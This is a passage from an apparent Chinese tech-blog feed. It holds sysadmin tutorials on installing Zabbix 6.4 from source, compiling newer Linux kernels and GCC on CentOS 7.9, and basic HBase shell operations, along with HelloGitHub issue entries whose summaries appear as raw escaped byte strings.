# sed -i "s#BASEDIR=/usr/local#BASEDIR=/opt/soft/zabbix#" /etc/init.d/zabbix_agentd

# vim /opt/soft/zabbix/etc/zabbix_server.conf   #配置上zabbix的密码

LogFile=/opt/soft/zabbix/log/zabbix_server.log
PidFile=/opt/soft/zabbix/run/zabbix_server.pid
DBPassword=zabbix

# mkdir /opt/soft/zabbix/{log,run}

# chown zabbix:zabbix /opt/soft/zabbix/{log,run}

# ln -sn /opt/soft/mysql/lib/libmysqlclient.so.22 /usr/lib/

# /etc/init.d/zabbix_server restart

2.4 PHP环境配置

# vim /opt/soft/php/etc/php.ini  #把里面的参数改成下面的内容

date.timezone = Asia/Shanghai
max_execution_time 300
memory_limit 128M
post_max_size 16M
upload_max_filesize 2M
max_input_time 300
max_input_vars 10000
always_populate_raw_post_data -1

# /opt/soft/php/sbin/php-fpm

2.5 zabbix前端页面配置

# mkdir /opt/soft/nginx/cache

# chown work:work /opt/soft/nginx/cache

# vim /opt/soft/nginx/main-conf/nginx.conf  #简单修改几个地方

user  work;
worker_processes  4;
    server {
        listen       80;
        server_name  localhost;
        root   /opt/soft/nginx/html/zabbix;

        location / {
            index  index.html index.htm index.php;
        }

        location ~ .*\.(php|php5)?$ {
            index  index.html index.htm index.php;
            fastcgi_pass   127.0.0.1:9000; #这就是php的启动ip加端口
            fastcgi_index  index.php;   #首页为index.php
            fastcgi_param  SCRIPT_FILENAME  /scripts$fastcgi_script_name;
            include        fastcgi.conf;
        }

# rsync -avz /opt/soft/package/zabbix-6.4.8/ui/ /opt/soft/nginx/html/zabbix/ >/dev/null

# chown -R work:work /opt/soft/nginx/html/zabbix

# /opt/soft/nginx/sbin/nginx

博文来自:www.51niux.com

2.6 Web页面进行配置

首先当然是浏览器:http://ip地址

image.png

#点击下一步后进入检查项

image.png

#进入到下一步

image.png

#后面的步骤就正常点下去就行了。之前的文档也有截图说明

image.png

#上图就是我们登录zabbix6.4的首页面了

image.png

#这时候你会发现有一个红色的地方,没错就是数据库中历史数据表已升级那里有红色的提示:

image.png

官网文档说明:https://www.zabbix.com/documentation/current/en/manual/appendix/install/db_float_range

# vim /opt/soft/nginx/html/zabbix/conf/zabbix.conf.php   #因为我们是新环境不需要关注旧数据,将默认是false的改为true就行了

//$DB['DOUBLE_IEEE754']         = false;
$DB['DOUBLE_IEEE754']           = true;

#再次刷新系统信息,整个界面清爽了再也没有错误提示了

image.png

2.7 解决中文乱码

image.png

#老问题了,需要将中文字体文件到web目录中来

#yum install  wqy-microhei-fonts -y

#cp /usr/share/fonts/wqy-microhei/wqy-microhei.ttc  /opt/soft/nginx/html/zabbix/assets/fonts/DejaVuSans.ttf  

#因为zabbix的web目录下面的include/defines.inc.php文件定义了字体的路径

define('ZBX_FONTPATH',                          realpath('assets/fonts')); // where to search for font (GD > 2.0.18)
define('ZBX_GRAPH_FONT_NAME',           'DejaVuSans'); // font file name

#然后重启php-fpm就好了

image.png

2.8 主机可用性为未知状态

#当然这个问题如果你的agent监控模版并非全是Zabbix客户端(主动式)也不会遇到。

一般我们肯定是选用agent active主动上报监控模版,这时候你可能会发现你的数据都正常采集了,但是zabbix可用性哪里还是未知灰色状态

image.png

#这时候你需要找一个监控项更换为客户端的模式,如下面:

image.png

#如果你是一分钟一采集的话,就过一分钟再看就可以了,666绿色的小图标成功点亮。

image.png

#至此新版zabbix的一些部署操作就结束了,剩下的改动不大,操作之前的zabbix系列文档然后把官方文档看一遍,就可以弄起来了。

三、zabbix升级操作

#我们zabbix版本不能一直不升级吧,那些新特性好想用。这里以从6.4.9升级到6.4.12最新版本举例。

官网文档:https://www.zabbix.com/documentation/current/zh/manual/installation/upgrade/sources

这里就不做详细记录了,根据官网文档操作就行,就可以升级到最新版了。

image.png


November 27, 2023 09:47 AM

October 27, 2023

hellogithub

HelloGitHub 第 91 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 42 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cObjective-C \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (3)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (6)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (2)'

October 27, 2023 12:05 AM

September 28, 2023

hellogithub

HelloGitHub 第 90 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 43 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cCSS \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRuby \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (3)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (6)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (2)'

September 28, 2023 12:12 AM

August 28, 2023

hellogithub

HelloGitHub 第 89 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 41 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRuby \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (3)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (5)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (4)'

August 28, 2023 12:07 AM

July 28, 2023

hellogithub

HelloGitHub 第 88 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 39 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cCSS \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (4)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (5)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (2)'

July 28, 2023 12:09 AM

June 28, 2023

hellogithub

HelloGitHub 第 87 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 39 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (3)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (5)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (1)'

June 28, 2023 12:04 AM

May 29, 2023

hellogithub

HelloGitHub 第 86 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 44 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cPHP \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (4)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (5)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (2)'

May 29, 2023 12:15 AM

April 28, 2023

hellogithub

HelloGitHub 第 85 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 45 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cObjective-C \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (3)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (6)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (3)'

April 28, 2023 12:20 AM

April 13, 2023

51niux

Linux编译升级内核

#排查容器的一些问题的时候最终都指向到了linux内核,现在也只有Centos7.9在维护了,但是是3.10的内核,如果想升级内核咋办,网上很多rpm包或者第三方源的方式,我们这里还是采用官网tar包编译安装的方式。小小的记录一下。

官网公布的LTS长期支持版本的列表:https://www.kernel.org/category/releases.html

一、编译升级至4.x

第一步:去官网下载

https://www.kernel.org/

我们这里下载4.x的最新版本:# wget https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.19.280.tar.xz

第二步:进行相关yum依赖安装

#yum -y install gcc bc gcc-c++ ncurses ncurses-devel cmake elfutils-libelf-devel openssl-devel  flex  bison  libelf-devel 

第三步:开始编译安装

#tar xf linux-4.19.280.tar.xz

#cd  linux-4.19.280/

make mrproper  #去除内核的依赖关系及编译后的垃圾信息(如果第一次编译可以不需要执行)

#cp /boot/config-3.10.0-1160.el7.x86_64 ./.config    #没错我们使用现有的内核配置

# sh -c 'yes ""|make oldconfig'   #这样就不用老回车了

# make -j16 all   #时间非常长,可以喝杯咖啡了

image.png

#make modules_install  -j 16 #安装模块,但是有个问题啊,如果什么参数都不加你会发现安装的内核目录非常大可能3GB,是因为编译出来的ko文件里有很多debug信息,所以要执行make INSTALL_MOD_STRIP=1 modules_install -j 16,如果已经安装了可以进入到/lib/modules/内核目录下面执行bash -c 'find . -iname "*.ko" | xargs strip --strip-unneeded'  进行清理,这样空间就降下来了。当然你要觉得占用空间无所谓可以什么参数都不加。
#不过我看4.x和5.x是需要这样的,但是6.x内核不加这个参数编译出来的内核目录也是300MB以内的。

image.png

#make install  -j 16 #安装内核相关文件  

image.png

# ls -l /lib/modules/  #查看一下安装完毕后的效果

image.png

第四步: 设置默认启用新内核版本启动

# cat /boot/grub2/grub.cfg | grep menuentry   #查看系统可用内核 

image.png

#grub2-set-default 'CentOS Linux (4.19.280) 7 (Core)'  #修改开机默认使用的内核

第五步: 重启机器使新内核生效

# reboot

# uname -r   #查看当前内核版本

4.19.280

博文来自:www.51niux.com

注:至此我们操作系统的内核版本已升级完毕。但是吧有一个小坑,我们现在操作系统还是Centos7.9的,如果你一旦yum update进行全面更新的话,比如这次升级涉及到内核版本,那就尴尬了,一旦机器reboot就又变回3.x的内核版本了。所以如果你进行了yum update之后,切记执行下grub2-set-default 'CentOS Linux (4.19.280) 7 (Core)' ,将启动内核版本修改回来。


二、编译升级至5.x

#如果centos7.9升级到5.x还有点麻烦还得把gcc重新编译一次,因为gcc版本过低

# sh -c 'yes ""|make oldconfig'

***
*** Compiler is too old.
***   Your GCC version:    4.8.5
***   Minimum GCC version: 5.1.0
***
scripts/Kconfig.include:44: Sorry, this compiler is not supported.
make[2]: *** [oldconfig] 错误 1
make[1]: *** [oldconfig] 错误 2
make: *** [__sub-make] 错误 2

image.png

2.1 重新编译GCC

第一步下载相关软件包:

#我这边直接进入阿里云的镜像站下载了https://mirrors.aliyun.com/gnu/

# wget https://mirrors.aliyun.com/gnu/gmp/gmp-6.2.1.tar.xz

# wget https://mirrors.aliyun.com/gnu/mpfr/mpfr-4.2.0.tar.gz

# wget https://mirrors.aliyun.com/gnu/mpc/mpc-1.3.1.tar.gz

# wget https://mirrors.aliyun.com/gnu/gcc/gcc-12.2.0/gcc-12.2.0.tar.gz

#并且全部解压

# tar xf gmp-6.2.1.tar.xz

# tar xf mpfr-4.2.0.tar.gz

# tar xf  mpc-1.3.1.tar.gz

# tar xf gcc-12.2.0.tar.gz

第二步开始编译:

# cd gmp-6.2.1/

# ./configure --prefix=/usr/local/gmp

# make -j 4 && make install

# cd ../mpfr-4.2.0/

# ./configure --prefix=/usr/local/mpfr --with-gmp=/usr/local/gmp

# make -j 4 && make install

# cd ../mpc-1.3.1/

# ./configure --prefix=/usr/local/mpc --with-gmp=/usr/local/gmp --with-mpfr=/usr/local/mpfr

# make -j 4 && make install

# cd ../gcc-12.2.0/

# echo 'export LD_LIBRARY_PATH=/usr/local/mpfr/lib:$LD_LIBRARY_PATH' >>/etc/profile

# source /etc/profile

# ./configure --prefix=/usr/local/gcc/ --enable-checking=release --enable-languages=c,c++ --disable-multilib --with-gmp=/usr/local/gmp --with-mpfr=/usr/local/mpfr --with-mpc=/usr/local/mpc

#make -j 4 && make install

第三步修改gcc路径:

# mv /usr/bin/gcc /usr/bin/gcc485

# mv /usr/bin/g++ /usr/bin/g++485

# mv /usr/bin/c++ /usr/bin/c++485

# mv /usr/bin/cc /usr/bin/cc485

# ln -s /usr/local/gcc/bin/gcc /usr/bin/

# ln -s /usr/local/gcc/bin/g++ /usr/bin/

# ln -s /usr/local/gcc/bin/c++ /usr/bin/

# ln -s /usr/local/gcc/bin/gcc /usr/bin/cc

# mv /usr/lib64/libstdc++.so.6 /usr/lib64/libstdc++.so.6.bak

# ln -s /usr/local/gcc/lib64/libstdc++.so.6.0.30 /usr/lib64/

# ln -s /usr/local/gcc/lib64/libstdc++.so.6.0.30 /usr/lib64/libstdc++.so.6   #缺少这个polkit启动失败

# gcc -v  #查看一下gcc版本image.png

2.2 编译安装5.x内核

# wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.15.108.tar.xz   #下载新内核

跟上面的4.x步骤一模一样,就不累述了

编译完后最后来个#grub2-set-default 'CentOS Linux (5.15.108) 7 (Core)'  然后reboot机器就可以了

# uname -r

5.15.108

April 13, 2023 07:05 AM

March 28, 2023

hellogithub

HelloGitHub 第 84 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 45 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cPHP \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (4)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (6)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (2)'

March 28, 2023 12:09 AM

February 28, 2023

hellogithub

HelloGitHub 第 83 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 42 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (2)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (5)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (3)'

February 28, 2023 12:11 AM

January 28, 2023

hellogithub

HelloGitHub 第 82 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 42 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cCSS \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRuby \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (3)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (5)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (2)'

January 28, 2023 12:13 AM

December 28, 2022

hellogithub

HelloGitHub 第 81 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 42 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cCSS \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cPHP \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (2)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (5)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (1)'

December 28, 2022 12:05 AM

November 27, 2022

hellogithub

HelloGitHub 第 80 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 39 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cCSS \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cPHP \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (2)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (6)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (3)'

November 27, 2022 11:57 PM

November 03, 2022

51niux

大数据(十六)Hbase常用操作

#紧接上文:http://www.51niux.com/?id=312

一、Hbase常用操作

1.1 hbase命令行介绍

$ /opt/soft/hbase/bin/hbase --help

Usage: hbase [<options>] <command> [<args>]
Options:
  --config DIR  使用的配置目录。默认值:./conf
  --hosts HOSTS  覆盖“regionserver”文件中的列表
  --auth-as-server 作为服务器身份验证使用服务器配置向ZooKeeper进行身份验证
  --internal-classpath 内部类路径跳过尝试使用面向客户端的jar
  --help or -h   打印此帮助消息
Commands:
有些命令接受参数。不传递参数或-h以了解用法。
  shell 运行HBase shell
  hbck  运行HBase 'fsck' 工具。默认为只读hbck1。Pass '-j /path/to/HBCK2.jar' to run hbase-2.x HBCK2.    
  snapshot 用于管理快照的快照工具
  jshell  在类路径上运行带有HBase的jshell
  classpath Dump hbase CLASSPATH
  mapredcp mapredcp转储mapreduce所需的CLASSPATH条目
  pe 运行性能评估
  ltt 运行LoadTestTool
  canary 运行canary工具
  version  打印版本
  completebulkload Run BulkLoadHFiles tool
  regionsplitter   Run RegionSplitter tool
  rowcounter       Run RowCounter tool
  cellcounter      Run CellCounter tool
  pre-upgrade      Run Pre-Upgrade validator tool
  hbtop            Run HBTop tool
  CLASSNAME        Run the class named CLASSNAME

1.2 hbase表的常用操作

创建表操作

$ /opt/soft/hbase/bin/hbase shell

hbase:002:0> create 'test','cf'

#上面是建立一个叫test的表,表里面有个叫'cf'的列族。HBase的表都是由列族(Column Family)组成的。没有列族的表是没有意义的。列并不是依附于表上,而是依附于列族上。所以HBase的表跟列之间的关系中间还有一层:列族,如下图:

image.png

hbase的表的属性都定义在列族上。HBase同一个表的不同列族可以定义完全不同的属性。

hbase:004:0> alter 'test','cf1'
Updating all regions with the new schema...
1/1 regions updated.
Done.
Took 2.1121 seconds

#在生产环境下执行上面命令之前,最好先停用(disable)这个表。因为对列族的所有操作都会同步到所有拥有这个表的RegionServer上,执行命令的时候可以看到总共有多少个RegionServer,当前执行了几个RegionServer。当有很多客户端都在连着的时候,直接新增一个列族对性能的影响较大。

#上面的语句是给test表再增加一个cf1的列族,注意增加列族不能用create

hbase:005:0> list
=> ["test"]

#上面的语句是查看当前有那些表

查看表

查看表属性:

hbase:006:0> describe 'test'

image.png

#上图可以看到分别输出了两个列族的属性

插入数据

在HBase中,如果你的一行有5列,那存储一行的数据得写5行的语句。这是因为HBase中行的每一个列都存储在不同的位置,你必须指定你要存储在哪个单元格;而单元格需要根据表、行、列这几个维度来定位,插入数据的时候你必须告诉HBase你要把数据插入到哪个表的哪个列族的哪个行的哪个列。如下面的命令:

hbase:007:0> put 'test','row1','cf:name','hello'
hbase:008:0> put 'test','row1','cf:name','world'

上面命令的意思是,往test表插入一个单元格。这个单元格的rowkey为row1,也就是说它是属于row1这个行中的一个列。该单元格的列族为cf。该单元格的列名为name。数据值为hello,然后我们又插入了一个world,然后我们查看下显示:

hbase:009:0> scan 'test'
ROW       COLUMN+CELL                                                                                                                                                                
 row1     column=cf:name, timestamp=2022-11-07T19:21:09.500, value=world                                                                                                             
1 row(s)

上面显示的内容,ROW列显示的就是rowkey,COLUMN+CELL显示的就是这个记录的具体列族(column里面冒号前面的部分)、列(colum里面冒号后面的部分)、时间戳(timestamp)、值(value)信息。

关于时间戳

